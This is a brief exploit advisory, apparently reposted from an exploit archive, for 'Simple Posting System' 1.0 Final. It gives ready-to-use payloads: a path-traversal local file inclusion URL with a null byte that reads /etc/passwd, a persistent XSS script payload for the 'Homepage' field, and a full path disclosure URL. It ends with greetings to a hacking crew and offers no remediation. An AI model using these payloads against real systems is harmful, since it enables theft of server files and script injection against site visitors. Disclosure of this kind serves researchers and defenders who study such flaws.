标题: Simple Posting System [Multple]
作者: n0tch aka andmuchmore
下载地址: http://realize.be/files/sps.tar.gz
影响版本: 1.0 Final
测试平台:  Windows 7 / Linux(Ubuntu)
+[-- 本地文件包含缺陷 --]+
http:// www.2cto.com /sps.php?old=../../../../../../../../../../../../../../../../../etc/passwd%00
+[-- 持久型 XSS --]+
缺点位于 = "Homepage"
Payload syntax: ><script>alert('XSS');</script>
+[-- FPD --]+
http://localhost/sps/sps_admin/comment.php?op=del&id=3&aantal=4
+[-- Shoutz --]+
All the belegit crew..